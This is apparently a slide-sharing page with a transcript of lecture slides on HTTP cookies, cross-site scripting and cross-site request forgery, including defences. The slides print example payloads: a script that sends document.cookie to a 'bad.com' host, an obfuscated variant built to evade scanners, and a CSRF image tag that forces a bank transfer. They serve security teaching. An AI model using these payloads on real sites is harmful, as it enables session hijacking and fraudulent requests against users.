Cookies Cross site scripting

Slides:



Advertisements
Similar presentations
Cross-Site Scripting Issues and Defenses Ed Skoudis Predictive Systems © 2002, Predictive Systems.
Advertisements

Nick Feamster CS 6262 Spring 2009
CookiesPHPMay-2007 : [‹#›] Maintaining State in PHP Part I - Cookies.
©2009 Justin C. Klein Keane PHP Code Auditing Session 5 XSS & XSRF Justin C. Klein Keane
By Philipp Vogt, Florian Nentwich, Nenad Jovanovic, Engin Kirda, Christopher Kruegel, and Giovanni Vigna Network and Distributed System Security(NDSS ‘07)
WebGoat & WebScarab “What is computer security for $1000 Alex?”
EECS 354 Network Security Cross Site Scripting (XSS)
CMSC 414 Computer and Network Security Lecture 24 Jonathan Katz.
By Brian Vees.  SQL Injection  Username Enumeration  Cross Site Scripting (XSS)  Remote Code Execution  String Formatting Vulnerabilities.
Chapter 9 Web Applications. Web Applications are public and available to the entire world. Easy access to the application means also easy access for malicious.
It’s always better live. MSDN Events Securing Web Applications Part 1 of 2 Understanding Threats and Attacks.
Lecture 16 Page 1 CS 236 Online Cross-Site Scripting XSS Many sites allow users to upload information –Blogs, photo sharing, Facebook, etc. –Which gets.
CROSS SITE SCRIPTING..! (XSS). Overview What is XSS? Types of XSS Real world Example Impact of XSS How to protect against XSS?
Handling Security Threats in Kentico CMS Karol Jarkovsky Sr. Solution Architect Kentico Software
WEB SECURITY WORKSHOP TEXSAW 2013 Presented by Joshua Hammond Prepared by Scott Hand.
Web Application Vulnerabilities Checklist. EC-Council Parameter Checklist  URL request  URL encoding  Query string  Header  Cookie  Form field 
 A cookie is a piece of text that a Web server can store on a user's hard disk.  Cookie data is simply name-value pairs stored on your hard disk by.
Introduction to InfoSec – Recitation 10 Nir Krakowski (nirkrako at post.tau.ac.il) Itamar Gilad (itamargi at post.tau.ac.il)
Cosc 4765 Server side Web security. Web security issues From Cenzic Vulnerability report
Open Source Server Side Scripting ECA 236 Open Source Server Side Scripting Cookies & Sessions.
Cross-Site Scripting Vulnerabilities Adam Doupé 11/24/2014.
Cookies Set a cookie – setcookie() Extract data from a cookie - $_COOKIE Augment user authentication script with a cookie.
CHAPTER 12 COOKIES AND SESSIONS. INTRO HTTP is a stateless technology Each page rendered by a browser is unrelated to other pages – even if they are from.
Prevent Cross-Site Scripting (XSS) attack
Comp2513 Forms and CGI Server Applications Daniel L. Silver, Ph.D.
CSC 2720 Building Web Applications Cookies, URL-Rewriting, Hidden Fields and Session Management.
+ Websites Vulnerabilities. + Content Expand of The Internet Use of the Internet Examples Importance of the Internet How to find Security Vulnerabilities.
WEB SECURITY WEEK 3 Computer Security Group University of Texas at Dallas.
CSCI 6962: Server-side Design and Programming Secure Web Programming.
Lecture 14 – Web Security SFDV3011 – Advanced Web Development 1.
Chapter 9 Web Applications. Web Applications are public and available to the entire world. Easy access to the application means also easy access for malicious.
JavaScript, Fourth Edition
November 13, 2008 Ohio Information Security Forum Attack Surface of Web Applications James Walden Northern Kentucky University
CSE 154 LECTURE 12: COOKIES. Including files: include include("filename"); PHP include("header.html"); include("shared-code.php"); PHP inserts the entire.
3-Protecting Systems Dr. John P. Abraham Professor UTPA.
Chapter 8 Cookies And Security JavaScript, Third Edition.
Lecture 8 – Cookies & Sessions SFDV3011 – Advanced Web Development 1.
Security Scanners Mark Shtern. Popular attack targets Web – Web platform – Web application Windows OS Mac OS Linux OS Smartphone.
School of Computing and Information Systems CS 371 Web Application Programming Security Avoiding and Preventing Attacks.
Cookies Web Browser and Server use HTTP protocol to communicate and HTTP is a stateless protocol. But for a commercial website it is required to maintain.
STATE MANAGEMENT.  Web Applications are based on stateless HTTP protocol which does not retain any information about user requests  The concept of state.
By Sean Rose and Erik Hazzard.  SQL Injection is a technique that exploits security weaknesses of the database layer of an application in order to gain.
Web Security Lesson Summary ●Overview of Web and security vulnerabilities ●Cross Site Scripting ●Cross Site Request Forgery ●SQL Injection.
1 State and Session Management HTTP is a stateless protocol – it has no memory of prior connections and cannot distinguish one request from another. The.
PHP and Sessions. Session – a general definition The GENERAL definition of a session in the “COMPUTER WORLD” is: The interactions (requests and responses)
Session Management Tyler Moore CS7403 University of Tulsa Slides adapted in part or whole from Dan Boneh, Stanford CS155 1.
Unit-6 Handling Sessions and Cookies. Concept of Session Session values are store in server side not in user’s machine. A session is available as long.
Sessions and cookies (part 2) MIS 3501, Fall 2015 Brad N Greenwood, PhD Department of MIS Fox School of Business Temple University 11/19/2015.
Session 11: Cookies, Sessions ans Security iNET Academy Open Source Web Development.
By Collin Donaldson. Hacking is only legal under the following circumstances: 1.You hack (penetration test) a device/network you own. 2.You gain explicit,
PHP: Further Skills 02 By Trevor Adams. Topics covered Persistence What is it? Why do we need it? Basic Persistence Hidden form fields Query strings Cookies.
SlideSet #20: Input Validation and Cross-site Scripting Attacks (XSS) SY306 Web and Databases for Cyber Operations.
Web Security (cont.) 1. Referral issues r HTTP referer (originally referrer) – HTTP header that designates calling resource  Page on which a link is.
CSCE 548 Student Presentation Ryan Labrador
Web Application Vulnerabilities, Detection Mechanisms, and Defenses
World Wide Web policy.
CS 371 Web Application Programming
Cookies Cross site scripting
19.10 Using Cookies A cookie is a piece of information that’s stored by a server in a text file on a client’s computer to maintain information about.
What is REST API ? A REST (Representational State Transfer) Server simply provides access to resources and the REST client accesses and presents the.
Cross-Site Forgery
Cross-Site Request Forgeries: Exploitation and Prevention
Auditing Etsy The Security of Etsy
What is Cookie? Cookie is small information stored in text file on user’s hard drive by web server. This information is later used by web browser to retrieve.
CSC 495/583 Topics of Software Security Intro to Web Security
Web Security Advanced Network Security Peter Reiher August, 2014
Cross-Site Scripting Issues and Defenses Ed Skoudis Predictive Systems
Exploring DOM-Based Cross Site Attacks
Cross-Site Scripting Attack (XSS)
Cross Site Request Forgery (CSRF)
Presentation transcript:

Cookies Cross site scripting More on web security Cookies Cross site scripting

Cookies A small piece of data sent from a website and stored by a web browser. Set on the client when server uses the Set-Cookie field in the header of an HTTP response. Anytime the user returns to that site, all cookie data is sent to the website as part of the HTTP data. Quite useful! Avoid reauthenticating, and also saves storage space on the server.

Example Consider the request: Answered by: GET /index.html HTTP/1.1 Host: www.example.org ... Answered by: HTTP/1.0 200 OK Content-type: text/html Set-Cookie: theme=light Set-Cookie: sessionToken=abc123; Expires=Wed, 09 Jun 2021 10:18:14 GMT

Example (cont) We now have two cookies sent – one a session cookie. Every following request then has extra data attached, so server can recognize it: GET /spec.html HTTP/1.1 Host: www.example.org Cookie: theme=light; sessionToken=abc123 ...

What’s in a cookie? Generally: Expiration date Domain name Optional path Secure flag http only flag Data

Cookie details There is path separation: X.com/A does not see cookies of X.com/B This is not a security measure, though – X.com/A can access the DOM of X.com/B Really only done for efficiency: X.com/A doesn’t need to be repeatedly sent cookies for X.com/B However, browser should enforce some safety – it’s just not guaranteed

Details Expiration must be positive, or else cookie is deleted on browser closing Domain name can be for a TLD or subdomain. Only hosts within a domain can set a cookie for that domain Subdomain can set for one domain higher, but higher domain can’t set for lower ones Similarly, subdomain can access for higher, but not the other way So one.mail.example.com could access cookies for example.com, but could not set them. Rules are enforced at browser level.

Cookies and encryption By default, cookies are transmitted unencrypted using HTTP. So can be targeted by MITM attacks Secure flag can be set, which requires the cookie be transmitted by HTTPS. However, vulnerabilities have been found on web sites where HTTPS traffic didn’t set this flag correctly. Contents can also be separately encrypted, so server then has to decrypt.

HTTP-only flag If the HTTP-only flag is set, scripting languages (such as JavaScript) are prevented from accessing or manipulating cookies stored on the client machine. Doesn’t stop cookies use – browser automatically still sends to domain that owns it. However, preventing scripting languages from accessing cookies does help prevent XSS. More on this later…

Accessing cookies A browser’s cookies can be accessed using the DOM, and so no integrity DOM means access by scripting languages, so user can modify Many languages have their own APIs, but others treat them as text strings Cookies are managed by the browser, and not the OS, so these are kept separately based on browser.

Security concerns Obvious ones: Privacy concerns: Cookies can be accessed by any user on the system, so sensitive information is not safe. Even encrypted, can be used for session hijacking. Privacy concerns: Third party cookies: if content is loaded from another site, it may come with a cookie attached. Can be used to gather browsing history and usage statistics without explicit consent. Even worse when XSS is considered…

Cross site scripting (XSS) XSS is at attack where improper input validation allows malicious users to inject code into a website, which is later executed in another visitor’s browser. Example: evil.com fools your browser into executing the script of their choice, where your browser believes the script’s origin to be from bank.com! Nasty part: try to get bank.com to actually send your script, so that no amount of checking will reveal the issue.

Cross site scripting (XSS) Persistent XSS: Code remains for a period of time and is visible to users. Nonpersistent XSS: The injected code does not remain past the attacker’s session (but can still be exploited). Persistent XSS is more obviously a hazard, but we’ll examine both types

Persistent (or stored) XSS

Persistent XSS Classic examples are putting something in a webpage’s guestbook or message board. Simple example: <script> alert(“XSS injection!”); </script> Any input is saved on the page, so future visitors get an annoying popup.

Better examples In Javascript, you can redirect to arbitrary pages, so can include such a redirect. Worse, can interact with cookies: <script> document.location = “http://bad.com/evil.php?cookie=“+document.cookie; </script> This redirects and then concatenates the user’s cookie. Could then use the cookie to impersonate the victim. Can hide such a redirect using iFrame or embedding an image of size 0, as we saw last lecture.

Non persistent XSS Sometimes called a “reflected” XSS attack: The attacker gets you to send bank.com a URL that has some script crammed into it, and the server echoes it back to you in its response Your browser is none the wiser, and executes the script in the response within the same origin as bank.com More commonly used in the form of clickbait or spams that embed the attack.

Non persistent XSS

Example non-persistent XSS User input is echoed into an HTML response. Example: a search field If the user clicks on this link: Browser does to victim.com/search.php?... Victim.com returns: <HTML> Results for <script> …</script> Browser executes in same origin as victim.com, and sends badguy.com the cookie for victim.com

XSS defenses Best ways: OWASP: Open Web Application Security project Ensure validation of all headers, cookies, query strings, form fields, and hidden fields against a rigorous specification of what should be allowed DON’T attempt to identify active content and remove or filter. Too many types of active content and too many ways of encoding! (more in a bit) OWASP: Open Web Application Security project “strongly recommend a positive security policy that specifies what is allowed, rather than negative ones”

XSS defenses Of course, impossible to prevent all programming errors on the part of a developer. Many users choose to disable client side scripts on a per-domain basis. Blacklist versus white list approach Example: Firefox NoScript plugin – will block non-persistent via URL checking, but persistent not so much

XSS defense evasion On the attack side, obfuscating procedures are now becoming more common Racing with design of scanners and sanitizers URL encoding allows browsers to interpret special characters safely So encoded strings can be used as a GET variable in the URL and may escape sanitization Example script: <script>alert(“hello”);</script> Becomes: %3Cscript%3Ealert%28%E2%80%9Chello%E2%80%9D%29%3B%3C%2Fscript%3E%0D%0A (can even get worse with s=”/%73”, etc.)

XSS evasion (cont) Another way – use scripts Example: A = document.cookie; B = “ht”; C = “tp”; D = “:w”; E = “ww”; F = “bad site”; G = “bad search query”; document.location = B + C + D + E + F + G + A; </script> Attacker may avoid URL scanning detection

XSS worms XSS worms are also a new trend Particularly bad with Facebook, since the ability to communicate with other users is build into the functionality of these sites And therefore JavaScript can get to it Typically executes some payload and then automatically sends to all friends of the victim Propagation is extremely fast

Cross Site Request Forgery Malicious web site exploits a user and causes them to unknowingly execute commands on a third party site which trusts the user Easily confused with XSS, but is essentially the opposite thing Example: visit evil.com which includes: <img src=“http://mybank.com/moneyxfer.cgi?Account=alice&amt=50000&to=DrEvil”> Attack is successful if (for example) cookies in the browser means the bank remember the computer Hopefully unrealistic, but a good demo

CSRF: Other examples Could also have private webpage, accessible only through VPN/IP address access However, malicious user can gather info by creating a web site that issues cross site requests on behalf of a trusted user Login attack: instead of authenticating to victim site as the user, requests authenticate the user as the attacker Any information entered by user can then be access by the attacker (e.g. ebay account info)

CSRF: Key Need requests to the web server to have predictable structure Which unfortunately is how HTTP works! Need use of something that can force the victim’s browser to issue such a predictable request Eg <img src = …>

CSRF defenses Can monitor Referrer header to check previously visited sites Not done on every browser or setting, though Supplement persistent authentication (like a cookie) with another session token passed in every request Attacker is in theory unable to put this into URL Best prevention: log out of sites!!